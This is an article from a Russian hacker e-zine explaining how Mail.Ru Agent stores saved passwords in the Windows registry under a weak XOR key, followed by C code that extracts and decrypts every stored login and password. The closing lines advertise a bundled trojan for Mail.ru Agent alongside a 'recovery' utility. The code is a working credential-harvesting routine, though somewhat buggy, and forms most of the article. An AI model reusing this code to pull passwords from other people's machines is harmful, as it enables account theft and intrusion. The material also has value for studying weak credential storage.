hack.connect
 
[ru.scene.community]
HackConnect.E-zine issue #1
// 00110 MRiM. Восстанавливаем пароли
[вступление]
Этой статьей я не пртетендую на какую либо оригинальность. Всё было
найденно давно до меня человеком с ником execoma. В статье я просто
более популярно объясню алгоритм и как пример напишу утилиту,котрая
будет показывать сохраненные пароли.

[суть: что? где? как?]
Итак, давайте посмотрим, какие ключи Mail.Ru Agent оставляет в
реестре. Находим ветку HKEY_CURRENT_USER\Software\Mail.Ru\Agent\ Нас
здесь интересует ключ ID, а точнее его значение. На каждом компьютере
генерируется уникальный ID. Запомним это. Так же Agent хранит в
реестре и имя пользователя, то есть логин, он находится здесь -
HKEY_CURRENT_USER\Software\Mail.Ru\Agent\mra_logins\ В этой ветке
создается ключ с именем пользователя, а значением этого ключа является
зашифрованный пароль.
Для шифрования пароля используется простейший алгоритм xor. Ключ для
шифрования получается следующим образом: key = ID -(ID/256)*256

Итак, давайте напишем функцию, котрая будет выдирать пароль.
int GetMAgentPasswords()
{
    HKEY hKey;
    char ID_LPSTR[256]={0};
    DWORD lIDLen = sizeof(ID_LPSTR);
    int key; unsigned long int intid;
    char CR_PASS[256];
    DWORD CR_PASSLEN = sizeof(CR_PASS);
    DWORD i, retCode, cValues = 256;
    int z;
    char allData[1024]={0};
    char achValue[256];
    DWORD cchValue = 1024;
    char hash[256]={0}, pass[255]={0};
    char *IDREG = "Software\\Mail.Ru\\Agent"; //ветка реестра, в котрой лежит ID
    char *PWREG = "Software\\Mail.Ru\\Agent\\mra_logins";
   
    /*---------[Извлекаем ID]---------*/
    if(RegOpenKeyEx(HKEY_CURRENT_USER,IDREG,0,KEY_QUERY_VALUE,&hKey)==ERROR_SUCCESS)
    {
        if(RegQueryValueEx(hKey,"ID",0,0, ID_LPSTR, &lIDLen)==ERROR_SUCCESS)
        {
            RegCloseKey(hKey);
   
            /*---------[Получаем ключ]---------*/
            intid = atoi(ID_LPSTR);
            key = intid -(intid/256)*256;
           
            /*---------[В цикле читаем логины и пароли и запиcываем их в буфер]---------*/
            if(RegOpenKeyEx(HKEY_CURRENT_USER,PWREG,0,KEY_QUERY_VALUE,&hKey)==ERROR_SUCCESS)
            {
                if (cValues)
                {
                    for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
                    {
                        cchValue = 1024;
                        achValue[0] = '\0';
                        retCode = RegEnumValue(hKey, i, achValue, &cchValue, NULL, NULL, NULL, NULL);
                        if (retCode == ERROR_SUCCESS)
                        {
                            RegQueryValueEx(hKey, achValue, 0, 0, CR_PASS, &CR_PASSLEN);
                            for(z=4; z < CR_PASSLEN; z++)
                            {
                                hash[z] = CR_PASS[z];
                                CR_PASS[z] = CR_PASS[z]^key;
                                pass[z-4] = CR_PASS[z];
                            }
                            strcat(allData, achValue); //
                            strcat(allData, ";"); //заполняем
                            strcat(allData, pass); // буфер
                            strcat(allData, "\r\n"); //
                        }
                    }
                }
            }
        }
    }
    return 0 ;
}

[заключение]
На этом я заканчиваю. В файлах прилагающихся к журналу вы найдете
троян для Mail.ru Agent и утилиту которая поможет вам вспомнить
забытые пароли. На этом все. Удачи!

//by ZiG
/* ----------------------------------------------------[contents]----------------------------------------------------- */